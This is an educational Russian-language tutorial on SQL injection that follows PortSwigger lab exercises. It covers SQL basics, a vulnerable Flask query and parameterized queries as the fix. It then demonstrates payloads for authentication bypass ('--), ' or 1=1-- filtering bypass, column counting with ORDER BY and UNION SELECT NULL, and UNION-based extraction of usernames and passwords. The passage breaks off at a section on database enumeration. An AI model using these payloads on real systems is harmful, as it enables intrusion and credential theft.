---
title: SQLi
---
<div class="header__logo" >SQL Injection: твоя бд - моя бд!
</div>
<p>
</p>
<style>
.header__logo {
font-size: 30px;
font-weight: 700;
color: #270469;
text-align: center;
}
</style>
<style>
.secret{
display: flex;
margin-left: auto;
margin-right: auto;
width: 50%;
}
</style>
<style>
.secret__block{
background-color: #fff;
display: block;
max-width: 100%;
height: auto;
transition: opacity .8s linear;
color: black;
text-transform: uppercase;
font-weight: 700;
text-align: center;
}
</style>
<style>
.secret__block img{
opacity: 5;
}
</style>
<style>
.secret__block:hover {
opacity: 2 ;
}
</style>
<style>
.secret__img {
opacity: ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img{
opacity: 0 ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img: hover{
opacity: 5 ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img {
display: block;
max-width: 100%;
height: auto;
transition: opacity 1.8s linear;
}
</style>
<style>
.secret__img:hover {
opacity: 5 ;
}
</style>
<style>
.secret__inner {
position: relative;
background-color: #fff;
}
</style>
<style>
.secret__inner:hover .secret__img {
transform: translate3d(-10px, -10px, 0);
}
</style>
<style>
.secret__inner img:hover {
opacity: 0;
transition: opacity 2s linear;
}
</style>
<style>
.secret__inner img {
transition: opacity 2s linear;
}
</style>
<style>
.secret__inner:hover .secret__img img {
opacity: 1;
}
</style>

<div class="TOC" >
Содержание:
<p>
</p>
</div>
<style>
.TOC {
font-size: 26px;
font-weight: 550;
color: #270469;
text-align: left;
</style>
> [TOC]
---
# Вводная часть
В данном топике я буду мало разбирать лаб, как я делал это в [топике по CSRF](https://hackmd.io/@ArroizX/SyZK4gM5j), так как тема эта большая и сложная, и одни объяснения требуют много БУКАВ. Я буду рассказывать о самой уязвимости, как её эксплуатировать, какие в ней есть атаки, попутно затрагивая лабы, если вы хотите сами потом прорешать, чтобы закрепить знания, то ссылки на каждую лабу я буду оставлять на протяжении всего топика. Также можно просто зайти в раздел [SQL-injection](https://portswigger.net/web-security/sql-injection), и решать каждую лабу, знаний полученных в топике вам хватит для этого.
---
# WEB-Уязвимости: Client-side и Server-side баги
До данной лекции вами были рассмотрены ТОЛЬКО Клиентские уязвимости/атаки, предлагаю пока отвлечься от них и посмотреть в сторону Серверных уязвимостей, так как они и интереснее и проще, иначе заскучаете. А позже с новыми силами вернёмся к Клиентским снова!
А для тех, кто забыл в чём разница я напомню, что есть что:
:::warning
**Server-side vulnerabilities/attacks**
Это уязвимости/атаки, которые нацелены именно на **веб-сервер**. Даже если используется уязвимость, которая раскрывает конфиденциальные данные пользователя веб-приложения, всё равно вы атакуте/обманываете именно веб-сервер, а не браузер жертвы, заствляя его сделать то, чего не должно было произойти.
Обычно уязвимости/атаки в данной категории связаны с различными инъекциями, обходами логики приложения, мисконфигами сервера и прочее.
:::
:::info
**Client-side vulnerabilities/attacks**
Это уязвимости/атаки нацеленные на **браузер жертвы** и на саму жертву, также в этих уязвимостях присутствуют элементы социальной инженерии(рассылка писем со странными ссылками и тд): вызов javascript-скриптов в **браузере** жертвы через xss, инициирование зловредного HTTP-запроса с **браузера** жертвы, который сменит почту от аккаунта, с помощью CSRF-атаки.
:::
---
# Что это за уязвимость такая - SQL Injection?
:::warning
**SQL-инъекция** (SQLi) — это Server-side уязвимость в веб-приложении, которая позволяет злоумышленнику влиять на запросы, которые приложение делает к своей базе данных(бд). Благодаря данной уязвимости злоумышленник может получить доступ к различным конфиденциальным данным в бд: пароли, заметки и пр. Помимо просмотра данных злоумышленник может изменить или удалить их, а также в особо запущенных случаях злоумышленник может заставить сервер исполнять различные команды, но это мы рассматривать не будем!
:::
Вначале может быть не понятно, что написано выше, но я постараюсь сейчас кратко пересказать(чтобы в голове отложилось), а после разберу всё с самого начала:
И так, у нас есть какое-то веб-приложение, допустим онлайн-магазин.

На главной странице которого отображается весь доступный товар. На ней есть также кнопки фильтрации товара, используя их вы заставляете сайт показывать вам только те товары, который вы хотите(только шоколадки, только по цене меньше 500р и тд). Для вас это выглядит как-то так: вы нажимаете на различные кнопки, а на сайте появляются разные товары. А как это выглядит внутри?
Сам по себе HTML-документ, который вы получаете, вначале пустой, на нём нет никаких карточек с товарами, И ДАЖЕ ШОКОЛАДОК ПО ЦЕНЕ МЕНЬШЕ 500р, ужас! Все эти товары и их характеристики(цена, вес, цвет) хранятся где-то в базе данных, и приложение достаёт из этой бд нужные товары, передаёт их страничке и дальше они там располагаются вам на радость. После чего данная страничка отправляется вам.
Объяснил очень грубо и ситуативно, но думаю пойдёт. Так вот, процесс получения веб-сервером товаров из бд сопровождается определённым запросом к базе данных:
"Дай мне товары ШОКОЛАДКИ, цена которых меньше 500р"
И именно на этот запрос и может влиять злоумышленник, если присутствует уязвимость SQL Injection. Влиять может по разному: может попытаться заставить сайт показать ему товары, которые ещё не опубликовали, а может заставить сайт выдать ему учётные данные всех пользователей данного онлайн магазина, да-да, страшная штука!
Но прежде чем мы с вами перейдём к практике, предлагаю познакомиться с основами баз данных, что скрывается за акронимом SQL, и почему данная уязвимость вообще появляется!
---
# Что из себя представляет база данных, и какие есть виды?
## Что такое бд и из чего она состоит?
:::warning
**База данных** — это упорядоченный набор структурированной информации или данных, которые обычно хранятся в электронном виде в компьютерной системе.
:::
Обычно базы данных управляются специальным ПО, или системами управления базами данных (СУБД). Данные вместе с СУБД, а также приложения, которые с ними связаны, называются системой баз данных, или, для краткости, просто базой данных.
## Виды бд
А как вообще хранится информация в этой вашей бд?
Хранить информацию можно по-разному, да хоть в обычном текстовом файле, но есть и другие виды бд:
1) иерархические;
2) объектные или объектно-ориентированные;
3) объектно-реляционные;
4) реляционные;
5) сетевые;
6) нереляционные;
7) функциональные;
8) и др.
Про все виды вы можете почитать в интернете, я хочу заострить особое внимание на реляционных бд.
:::info
**Реляционная** база данных – это набор данных с предопределенными связями между ними. Эти данные организованны в виде набора таблиц, состоящих из столбцов и строк. В таблицах хранится информация об объектах, представленных в базе данных. В каждом столбце таблицы хранится определенный тип данных, в каждой ячейке – значение атрибута. Каждая строка таблицы представляет собой набор связанных значений, относящихся к одному объекту или сущности. Каждая строка в таблице может быть помечена уникальным идентификатором, называемым первичным ключом, а строки из нескольких таблиц могут быть связаны с помощью внешних ключей.
:::

Данный вид является самым популярным, так как он давно используется, его довольно просто понять + есть много ПО для работы с ним. Самое главное, что вы должны вынести:
У вас есть база данных, в которой хранятся таблички(1 табличка,2 таблички, 3, 4 и тд), таблички состоят из строк и столбцов. В каждом столбце таблицы хранится определенный тип данных, допустим в столбце цена хранятся только числа и тд. Допустим у вас есть 2 столбца: Название товара(строковый тип данных), Цена товара(целочисленный тип данных), и соответственно строка, имеющая значения в каждом стобце это какой-то товар со своими характеристиками:
| Название товара (строковый тип данных) | Цена (целочисленный тип данных) |
| -------- | -------- |
| шоколадное молоко | 500 |
| бесплатное увольнение | 0 |
| попасть в состав Binary Bears | 1000000000000000000000 |
Думаю теперь +- стало понятно!
## Популярные реляционные СУБД

Так как реляционные базы данных самые распространённые, то для них сделано огромное количество СУБД(то самое ПО, для управления бд'шкой). Вот лишь самые популярные из них: Oracle, Microsoft SQL Server, PostgreSQL, MySQL. Зачем я это упоминаю? Да всё просто, хоть они все используют SQL(о чём уже совсем скоро), у них у всех могут быть свои особенности во время управления БД, которые НУЖНО будет учитывать во время эксплуатации SQLi! Я ещё это потом напомню:)
А теперь давайте перейдём к разбору SQL!
---
# Что такое SQL(Structured Query Language) ?

## Что это такое?
:::warning
**SQL** (Structured Query Language) — это структурированный язык запросов, созданный для работы с реляционными бд.
:::
Это специальный язык, с помощью которого вы или, допустим, ваше веб-приложение сможет обращаться к бд. Причины обращения к бд могут быть разными:
- Надо получить некоторую информацию
- Надо добавить новую информацию
- Надо удалить ненужную информацию
- И тд
## Как формируются запросы?
Так как SQL - это структурированный язык запросов, то логично, что запросы имеют свою СТРУКТУРУ, знаю, в это тяжело поверить=)
Возьмём в качестве примера простой запросик, с помощью которого вы просите бд вам вернуть все товары со всеми их характеристиками из таблицы products:
`SELECT * FROM products;`
1) Вначале стоит оператор SELECT, он используется для того, чтобы извлекать какие-нибудь данные из бд. Помимо него есть и другие операторы: UPDATE(обновить данные в бд, допустим поменять цену товара), INSERT(добавить новые данные в бд, например, создать новый товар со своими характеристиками), DELETE(удалить данные) и др
2) Знак * означает, что мы хотим получить ВСЕ данные(строчки) в таблице
3) FROM products означает, что мы хотим получить ВСЕ данные ИМЕННО из таблицы products. Думаю понятно, что означает здесь ключевое слово FROM. Вообще, таких ключевых слов довольно много, с некоторыми мы ещё ознакомимся позже.
4) Точка с запятой просто закрывает запрос
Естественно, это был самый тривиальный запрос, который можно представить, и товарищи, которые всю жизнь работают с SQL могут выдать вам такой запрос, что вы просто устанете его читать, и тем более анализировать, такой например:
`
SELECT
DATE_FORMAT(co.order_date, '%Y-%m') AS order_month,
DATE_FORMAT(co.order_date, '%Y-%m-%d') AS order_day,
COUNT(DISTINCT co.order_id) AS num_orders,
COUNT(ol.book_id) AS num_books,
SUM(ol.price) AS total_price,
SUM(COUNT(ol.book_id)) OVER (
ORDER BY DATE_FORMAT(co.order_date, '%Y-%m-%d')
) AS running_total_num_books
FROM cust_order co
INNER JOIN order_line ol ON co.order_id = ol.order_id
GROUP BY
DATE_FORMAT(co.order_date, '%Y-%m'),
DATE_FORMAT(co.order_date, '%Y-%m-%d')
ORDER BY co.order_date ASC;
`
Ну ладно, попугал вас и хватит=)
Давайте возьмём что-нибудь посложнее, но в пределах разумного:
:::success
`SELECT * FROM products WHERE category = 'Gifts' AND released = 1`
Этот SQL-запрос просит базу данных вернуть:
- Вернуть все строчки (*)
- из таблицы продуктов
- где категория Подарки
- и выпущено 1, то есть данный продукт уже вышел в продажу, а не просто в планах
Вот у нас таблица:
| name | category | released |
| -------- | -------- | -------- |
| Колготоки ит'шника | Gifts | 1 |
| Клавиатура | Junk | 0 |
| Монитор | Junk | 0 |
| Ушки кошкодевочки для программистов | Gifts | 1 |
После нашего запроса вернутся следующие строчки:
| | | |
| -------- | -------- | -------- |
| Колготоки ит'шника | Gifts | 1 |
| Ушки кошкодевочки для программистов | Gifts | 1 |
:::
:::info
`SELECT * FROM users WHERE username = ".$_POST['username']." AND password = ".$_POST['pass']."`
Этот SQL-запрос просит базу данных вернуть:
- Вернуть все строчки (*)
- из таблицы пользователи
- если в строчке в колонке username будет такое же значение как и значение параметра username из POST-запроса
- И
- если в строчке в колонке password будет такое же значение как и значение параметра pass из POST-запроса
Тут конструкция уже немного интересней. Во-первых опять используется 2 фильтра: по колонке username и по колонке password, что выглядит как механизм аутентификации(когда пользователь ресурса "доказывает" сайту, что он хочет войти именно в СВОЙ аккаунт, и что грубо говоря ОН это ОН). Во-вторых вместо каких-то определённых значений в фильтрах, у нас находятся параметры из POST-запроса (в данном случае в ЯП php), которые принимают те значения, которые были в POST-запросе.
Зачем это надо?
Вот пытаетесь вы зайти на свой, конечно, ЛЮБИМЫЙ сайт mtuci.ru, а точнее в свой личный кабинет, который находится по маршруту /my-account. Но беда, вы не аутентифицированы, из-за чего вы попадаете не в свой кабинет, а на страничку /login, где должны ввести свой логин и пароль, после чего нажать кнопку "Войти". Вот вы ввели всё, нажали кнопку, и тем самым отправили POST-запрос, ну, пусть на тот же /login.
Выглядит он как-нибудь так:
```
POST /login HTTP/1.1
HOST: mtuci.ru
...
username=administrator&pass=admin
```
Сервер этот запрос получил, взял из его тела значения параметров username и pass, и подставил их в SQL-запрос, из-за чего тот стал выглядеть как-то так:
`SELECT * FROM users WHERE username = "administrator" AND password = "admin"`
И появляется вопрос: и чё?
Да всё просто, если существует пользователь с таким логином и паролем, то бд вернёт серверу всю инфу, что имеет, и тем самым сервак поймёт, что вы его не обманываете и залогинит вас, если же бд ничего не вернёт(так как пользователя допустим такого нет), то сервак поймёт, что вы ~~хакер-говнюк~~ не тот, за кого себя выдаёте, и сообщит вам, что ваши данные неправильные.
:::
По последнему примеру вам стало понятно, что веб-приложение может использовать отправленные вами данные, чтобы внедрить их в SQL-запрос, дабы в дальнейшем что-нибудь сделать. Смекаете? Вы можете что-то ВНЕДРИТЬ(сделать инъекцию) в запрос, и база это сделает, а внедрить вы можете далеко не то, что нужно.
---
# Как образуется SQL Injection
## Как возникает инъекция и как это выглядит обычно в коде?
:::success
**Лабораторная**:
https://portswigger.net/web-security/sql-injection/lab-login-bypass
:::
Допустим у вас есть веб-приложение, написанное на flask, в котором существует механизм аутентификации, ну или если проще, то страничка /login, где вы должны войти, а всё остальное как в примере 2, который был рассказан выше. После того как вы ввели все данные и нажили кнопку "войти", ваш браузер отправляет на страницу /login POST-запрос с параметрами login и password. Сервер этот запрос обрабатывает, присваивая соответствующим переменным значения из вашего запроса:

То есть если вы ввели login:administrator, a password:admin, то и переменные выше примут эти строковые значения. Дальше эти переменные попадают в SQL-запрос. И вот тут давайте с вами посмотрим на картинку с кодом(который может быть в вашем веб-приложении):

В данном примере с помощью cursor.execute(я не буду вдаваться в подробности что это) отправляется SQL-запрос в бд. В метод execute мы кладём наш SQL-запрос, который хотим отправить бд, причём это неготовый запрос, так как в него надо подставить значения вместо {0} и {1}. Если посмотрите чуть правее, то увидите .format(login,password), это добро и подставит вместо {0} значение переменной login, а вместо {1} значение переменной password, и в итоге наш запрос будет такой:
`SELECT * FROM users WHERE login='administrator' AND password='admin';`
То есть, в этом примере у нас напрямую подставились значения параметров из POST-запроса в SQL-запрос, и это не есть хорошо! Всё потому, что мы можем "докинуть" в тоже значение login что-нибудь связанное с SQL-командами и пр.
**НАПРИМЕР**
В SQL тоже есть аналог комментариев как в том же питоне, поставив который, мы можем отсечь оставшуюся часть запроса, так как всё, что будет после знака комментария в строчке станет комментарием, который бд проигнорирует!
Допустим мы отправили POST-запрос со следующими параметрами:
`login=administrator'--&password=sdjfnskjnfs`
И это попало в код приложения, а после чего и в SQL-запрос. И теперь наш SQL-запрос выглядит как-то так:
`SELECT * FROM users WHERE login='administrator'--' AND password='sdjfnskjnfs';`
Знак комментария в SQL может быть разный, в зависимости от СУБД: --, #, --{после которого пробел}. И вот всё, что идёт после комментария - отсекается. Но тут вопрос:
-А разве наш логин не будет просто единой строкой: 'administrator- -'?
-Нет, так как между administrator и знаком комментария у нас находится `'`, который как бы закрывает строку, в которой мы находимся(строка, которая является значением login в SQL-азпросе), после чего мы попадаем уже В САМ SQL-запрос:

А оставшуюся часть запроса мы отсекаем знаком комментария, из-за чего наш запрос выглядит как-то так:
`SELECT * FROM users WHERE login='administrator';`
И по сути веб-сайт проверяет нас не по логину и паролю, а просто по логину, таким образом нам достаточно знать логин админа, закрыть строку и добавить знак комментария, чтобы отсечь проверку на пароль в SQL-запросе, а вместо пароля мы можем написать что-угодно, и всё, мы логинимся под админом.
## Как обычно предотвращают данную инъекцию?
И давайте с вами быстренько пробежимся по тому, как это предотвращать, после чего перейдём наконец к разным методам эксплуатации SQLi!
Так вот, есть 3 популярных метода как такое избегать:
1) Сделать кучу проверок в коде на наличие всяких страшных ключевых SQL-элементов. На наличие SELECT, UPDATE, --, UNION и тд. Впринципе если потратить время, то можно на 90% обезопасить свое приложение, но всё равно могут найтись методы как это обойти, так что это не самый эффективный метод.
2) Использовать хорошо настроенный WAF.
3) Использовать параметризованные(подготовленные) запросы. Подготовленные запросы гарантируют, что злоумышленник не может изменить намерение запроса, даже если SQL-команды вставлены злоумышленником. Например, если злоумышленник введет login пользователя как tom' or '1'='1, параметризованный запрос не будет уязвимым и вместо этого будет искать имя пользователя, которое буквально соответствует всему строке tom' or '1'='1. Это самый лучший выход из ситуации! И вот вам ещё ниже картинка, как писать такие запросы на flask:

ФУХ, УРА!
Мы наконец с вами закончили с вводной частью. Теперь можем переходить к подготовке и к самим примерам SQL Injecion! Поехали!
---
# Почему шпаргалки нужны в данном случае?
Как я упомянул ранее с комментариями, у каждой СУБД свой синтаксис, и вроде SQL всё тот же, но есть определённые различия: знак комментария, синтаксис некоторых функций, разные наименования методов и тд и тд. Вообщем, вы никогда не знаете с какой бд столкнётесь: Oracle, PostgreSQL, MySQL и тд. Так что вы должны быть готовы к любой бд, но, врядли вы всё запомните, так что юзаем шпаргалки. Можете их либо загуглить(MySQL sql injection cheatsheet), или можете юзать шпаргалку от [portswigger'a](https://portswigger.net/web-security/sql-injection/cheat-sheet), вначале она кажется неудобной, честно говоря. Но разобравшись в скулях, ты понимаешь, что она на самом деле содержит в себе всё необходимое, но это личное дело каждого, главное не забывайте, что человеский мозг не бесконечен, и заметки/шпаргалки всегда надо иметь под рукой!

---
# Какие инструменты можно использовать?
И напоследок упомяну тулзы, которые можно использовать, чтобы облегчить себе жизнь:
1) Burp suite + различные плагины.

2) OWASP ZAP.

3) sqlmap - самая популярная тулза для данной уязвимости, в данном топике я не буду её разбирать, но есть отличная [статья](https://telegra.ph/Vazhnye-komandy-SQLMap-01-21) по этой теме.

---
# Пример простой эксплуатации SQLi(Получение скрытых данных)
:::success
**Лабораторная**:
https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
:::
В разделе "Как возникает инъекция и как это выглядит обычно в коде?" мы с вами уже ознакомились с одним простым примером эксплуатации SQLi, теперь предлагаю разобрать ещё один для закрепления!
Рассмотрим приложение для покупок, которое отображает товары в разных категориях.

Когда пользователь нажимает на категорию «Подарки», его браузер запрашивает URL-адрес:
`https://insecure-website.com/products?category=Gifts`
Сервер получает данный GET-запрос, вытаскавает оттуда значение параметра category и выполняет следующий SQL-запрос для получения сведений о соответствующих продуктах из базы данных:
`SELECT * FROM products WHERE category = 'Gifts' AND released = 1;`
Если рассмотреть повнимательнее данный запрос, то можно увидеть, что вы хотим получить все данные по продуктам, фильтруя их по 2 условиям:
1) Данные продукты находятся в категории "Подарки"
2) Эти продукты должны быть уже выпущены и доступны для продажи (released = 1)
Причём фильтрация по категории идёт первее, и именно этим значением мы можем управлять. Что это значит? Да всё просто, мы можем закомментировать оставшуюся часть запроса и попросить приложение вывести ВСЕ товары из категории "Подарки".
Вот наш запрос, если вместо заготовленных категорий мы выставим такое значение, чтобы выйти из строки и закомментировать оставшуюся часть SQL-запроса:
`SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1;`
А вот как он выглядит для бд:
`SELECT * FROM products WHERE category = 'Gifts';`
БД данный запрос выполнит, и вернёт веб-приложению все товары(включая невышедшие) из категории подарки, а после и мы увидим результат выполнения запроса:)
А давайте мы попытаемся вывести вообще все товары из таблицы. Для этого мы будем использовать логическую конструкцию 1=1:
`SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1`
ИЛИ
`SELECT * FROM products WHERE category = 'Gifts' OR 1=1--`
Данный запрос вернет все элементы, где либо категория «Подарки», либо 1 равно 1. Поскольку 1=1 всегда верно(иначе это было бы странно), запрос вернет все элементы. Да-да, понимаю, вначале слегка ломает голову, но логика нам частенько будет помогать в скулях:)
Решение в скриншотах выглядит как-то так:
1) Сайт. Нажимаю на фильтрацию по "Gifts".

---
2) URL слегка изменился, обращаем на это внимание.

---
3) Обращаем внимание, что при фильтрации по подаркам у нас 3 товара.

---
4) Модифицируем GET-запрос, а точнее параметр category, добавляя `'--` в конце значение, чтобы выйти из строки SQL-запроса и закомментировать оставшуюся часть запроса, дабы вывести ВСЕ товары из категории Gifts. Теперь уже видим 4 товара, а не 3, так как добавился один скрытый.

---
5) Изменяем параметр category дальше, чтобы вывести ВСЕ товары из таблицы. Для этого вместо `'--` используем `' or 1=1--`, после чего лаба решена, и мы видим все товары из таблицы. Напоминаю, данная полезная нагрузка сработала так, потому что в запросе была следующая делема: либо категория «Подарки», либо 1 = 1. И так как 1=1, часть в запросе `WHERE category = 'Gifts'` по сути исчезла, и запрос выгладил как `SELECT * FROM products WHERE 1=1;` -> `SELECT * FROM products;`. Поэтому нам вывелись вообще ВСЕ товары, а не только публичные.

---
# UNION-атаки
А что делать, если на сайте есть SQL Injection, но таблица, с которой я взаимодействую, неинтересная, и она не содержит всякие важные данные? На помощь тогда приходят UNION-атаки!
## Что это такое?
:::warning
Ключевое слово **UNION** позволяет выполнить один или несколько дополнительных SELECT-запросов и добавить результаты к исходному запросу.
`SELECT a, b FROM table1 UNION SELECT c, d FROM table2`
Этот SQL-запрос вернет результат с двумя столбцами, содержащими значения из столбцов a и b из table1, и из столбцов c и d из table2.
:::
Давайте я вам покажу как это выглядит, используя [сайтик](http://ad.samsclass.info/sqlol-raw/search-raw.htm), где можно потренироваться писать SQL-запрос. Вот у нас есть 2 таблицы: users и ssn.

И я хочу вывести одним запросом данные столбца username из таблицы users, и данные столбца ssn из таблицы ssn:

Для этого мне нужно использовать следующий SQL-запрос:
`SELECT username FROM users UNION SELECT ssn FROM ssn;`

И так как у нас в запросе указывается только **один** столбец(username в users, ssn в ssn), то и возвращается нам 1 столбец с объединёнными результатами.
Отлично, теперь мы знаем, что существует средство, благодаря которому, мы можем взаимодействовать с данными из разных таблиц, хотя мы вроде общались с соврешенно другой таблицей. И вроде всё просто, но чтобы использовать UNION-атаки, должны выполняться некоторые условия, давайте поговорим о них!
## Какие условия должны быть соблюдены?
Чтобы UNION-запрос работал, должны быть выполнены два ключевых требования:
1) Отдельные запросы должны возвращать одинаковое количество столбцов. То есть если вначале мы указали, что хотим получить данные по 1 столбцу, то и в присоединяемом запросе тоже должен быть 1 столбец. Если проще. Правильно - `SELECT username FROM users UNION SELECT ssn FROM ssn;`. Неправильно - `SELECT username FROM users UNION SELECT ssn,name FROM ssn;`. Неправильно - `SELECT username,isadmin FROM users UNION SELECT ssn FROM ssn;`.
2) Типы данных в каждом столбце должны быть совместимы между отдельными запросами. Опять берём `SELECT username FROM users UNION SELECT ssn FROM ssn;`. Тип данных столбца username должен быть совместим с типом данных столбца ssn - обе строки, обе числовые и тд.
Поэтому чтобы выполнить UNION-атаку с внедрением SQL-кода, необходимо убедиться, что атака соответствует этим двум требованиям. Обычно это включает в себя выяснение:
1) Сколько столбцов возвращается из исходного запроса? Мы ведь можем предполагать как выглядит изначальный SQL-запрос. Может там `SELECT username,password...`, а может `SELECT username,password,isadmin,ctfteam...` и тд. Поэтому этот момент надо выяснить.
2) Какие столбцы, возвращенные исходным запросом, имеют подходящий тип данных для хранения результатов введенного запроса? Грубо говоря, если в изначальном запросе есть 2 столбца, причём что 1 столбец имеет строковый тип данных, а 2 числовой, то бессмысленно пытаться через 2 столбец получить строковые данные. Вам тогда просто вернётся ошибка.
Давайте перейдём к выяснению данных пунктов.
## Определение количества столбцов
:::success
**Лабораторная**:
https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns
:::
При выполнении UNION-атаки существует два эффективных метода определения количества столбцов, возвращаемых исходным запросом.
**Первый метод** включает в себя использование команды `ORDER BY {и тут число: 1,2,3 и тд}` и увеличение числа до тех пор, пока не произойдет ошибка, так как мы будем фильтровать результат по несуществующему столбцу. Ничего не понятно? Давайте начнём с определения ORDER BY:
:::info
Команда ORDER BY позволяет сортировать данные по определенному стобцу при выборе из базы данных.
`SELECT * FROM users ORDER BY 1;`
Число 1 здесь означает столбец, по которому хотим отсортировать вывод. Вот возьмём таблицу users:

1 это столбец username, а если мы поставим сортировку по столбцу 2, то это будет isadmin. После выполнения запроса `SELECT * FROM users ORDER BY 1;` мы получим не просто все данные, а отсортированные по столбцу username:

А вот что будет, если не сортировать по 1 столбцу:

Если указать такое число, то есть столбец, которого в таблице нет(в нашей таблице пусть это будет число 5, так как у нас только 3 столбца, и это я не опечатался), то будет ошибка:

:::
Так вот, вернёмся к нашим баранам. Вот отправили мы SQL-запрос `SELECT * FROM users ORDER BY 1;`. Вначале он просто вернул результат, все логины и пароли допустим. А потом уже этот результат отсортировался по 1 столбцу. Так вот, у нас результат из 2ух столбцов. А что если мы укажем ORDER BY 2? Всё будет ок, так как в результате 2 столбца. А что если мы укажем ORDER BY 3? Будет ошибка, так как в результате только 2 столбца. Таким образом, мы можем увеличивать число до тех пор, пока не появится ошибка. Тем самым мы можем сделать вывод, что последнее число, после которого не было ошибки - число столбцов в изначальном запросе. Соответственно и в UNION-части доложно быть столько же столбцов.
**Второй метод** включает в себя отправку серии UNION SELECT с различным количеством нулевых значений:
```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```
Если количество NULL не соответствует количеству столбцов в изначальном запросе, база данных возвращает ошибку. Тут кстати интересный момент, бд не всегда возвращает ошибку, как раз для того, чтобы вам было сложно использовать SQLi, может просто измениться время ответа, HTML-документ изменится в размере и тд.
:::info
Также стоит упомянуть следующее:
1) Причина использования NULL в качестве значений, возвращаемых внедренным SELECT-запросом, заключается в том, что типы данных в каждом столбце должны быть совместимы между исходным и внедренным запросами. Так NULL преобразуется в любой широко используемый тип данных, использование NULL увеличивает вероятность того, что полезная нагрузка будет успешной, когда число столбцов правильное. И не будет никаких ошибок -> спокойно посчитаете кол-во столбцов.
2) В Oracle каждый SELECT-запрос должен использовать ключевое слово FROM и указывать на допустимую таблицу. В Oracle есть встроенная таблица - DUAL, которую можно использовать для этой цели. Таким образом, введенные запросы в СУБД Oracle должны выглядеть так: `' UNION SELECT NULL FROM DUAL--`
3) В примерах знак комментария был `--`, но не стоит забывать, что у разных СУБД свой синтаксис, тот же знак комментария может быть и `#` и `-- `
:::
## Поиск столбцов с полезным типом данных
:::success
**Лабораторная**:
https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text
:::
Вспоминаем, причина выполнения UNION-атаки - иметь возможность получить данные из других таблиц, а если точнее: результаты от внедренного запроса. Как правило, интересные данные, которые вы хотите получить, будут в форме строки(находится в столбце с строковым типом данных), поэтому вам нужно найти один или несколько столбцов в исходных результатах запроса, тип данных которых является или совместим со строковыми данными.
Уже определив количество необходимых столбцов, можно протестировать каждый столбец, чтобы проверить, может ли он содержать строковые данные, отправив серию UNION SELECT полезных данных, которые помещают строковое значение в каждый столбец по очереди. Например, если запрос возвращает четыре столбца, вы должны отправить по очереди:
```
' UNION SELECT 'a',NULL,NULL,NULL-- #проверяем, что в 1 столбец можно вставить строку
' UNION SELECT NULL,'a',NULL,NULL-- #проверяем, что во 2 столбец можно вставить строку
' UNION SELECT NULL,NULL,'a',NULL-- #проверяем, что в 3 столбец можно вставить строку
' UNION SELECT NULL,NULL,NULL,'a'-- #проверяем, что в 4 столбец можно вставить строку
```
Пусть после 2 и 4 столбцы мы получили ошибку, то делаем вывод: через 1 и 3 столбцы мы можем вытащить строковые данные(всякие пароли, секреты и тд).
Ну и собстенно всё, мы знаем всё, что нам надо!
## Использование UNION-атаки и получение нескольких значений в одном столбце
:::success
**Лабораторные**:
1) https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
2) https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column
:::
Ну и теперь, когда мы знаем, как выполнять требования UNION-атаки, предлагаю быстро вспомнить как UNION выглядит в обычной жизни, и как с помощью него получить данные.
`SELECT a, b FROM table1 UNION SELECT c, d FROM table2;`
И так, вспоминаем ситуацию с онлайн магазином, как в примере "Пример простой эксплуатации SQLi(Получение скрытых данных)". Вот у нас есть SQL-запрос, в котором мы можем манипулировать значением category:
`SELECT ... FROM products WHERE category = 'ну и тут то, что мы отправили в HTTP-запросе' AND released = 1;`
В прошлый раз мы научились показывать скрытые товары в 1ой и во всех категориях, а теперь давайте вытащим данные столбцов username,password из таблицы users.
1) Определяем кол-во столбцов(пусть в нашем случае в оригинале было 2 столбца):
`SELECT ... FROM products WHERE category = 'Gifts' UNION SELECT NULL,NULL--' AND released = 1;`
Далее я не буду писать весь запрос, я просто начинаю с того же Gifts и дальше до окончания именно нашего пэйлоада:
`Gifts' UNION SELECT NULL,NULL--`
2) Определяем какие столбцы имеют строковый тип данных, чтобы мы могли получить строковые username,password:
```
Gifts' UNION SELECT 'a',NULL-- #Нет ошибки
Gifts' UNION SELECT NULL,'a'-- #Нет ошибки
```
3) Так как ни в одном из 2 столбцов не было ошибки, делаем вывод, что они оба могут принимать строковый тип данных. Так что спокойно их используем, чтобы вытащить и логины и пароли из таблицы users:
`Gifts' UNION SELECT username,password FROM users--`
А вот так запрос будет выглядеть для бд
`SELECT ... FROM products WHERE category = 'Gifts' UNION SELECT username,password FROM users--' AND released = 1;`
ИЛИ
`SELECT ... FROM products WHERE category = 'Gifts' UNION SELECT username,password FROM users--;`
и в результате на странице помимо товаров мы увидим креды пользаков приложения!

А что если у нас только 1 столбец со строковыми данными? Нам выводить юзеров и их пароли отдельно? Нет. Это глупо, так как пользователей может быть столько... что вы устанете потом перебором искать нужные пароли для нужных пользователей:)
Тут нам поможет шпаргалка SQL-инъекций, а именно раздел конкатенация:

С помощью конкатенации мы можем объединять значения разных столбцов(и не только), чтобы они поместились в 1 столбец. Впринципе такое могло некоторым встречаться ещё в ЯП java. Там строки можно объединить как оператором сложения `+`, так и функцией concat():

В нашем случае это будет примерно так:
`Drink' UNION SELECT NULL,username || ' separator '|| password FROM users--`

1) мы добавляем этот самый + после username(username + ...)
2) Прибавляем к значению username строку ' separator ', чтобы у нас просто не склеились логин и пароль, из-за чего их будет сложно разделить потом, если логин не означает что-то осмысленное(username + ' separator '...)
3) Добавляем ещё знак + как в ЯП, после чего к `логину + разделитель` добавляем ещё и пароль
4) Результат `login + ' separator ' + password` -> `administrator separator 0tgt8pczrje6a4xemtmq`
Вообще вместо ' separator ' можно что угодно вставить:

---
# Исследование базы данных
В последнем примере мы с помощью UNION-атаки смогли извлечь креды пользователей приложения из таблицы users, при этом ещё зная действительные столбцы этой таблицы. В реальной жизни эту таблицу и столбцы могли назвать совсем по-другому, и вам пришлось бы гадать, а как там называется эта таблица, и как называются её столбцы.
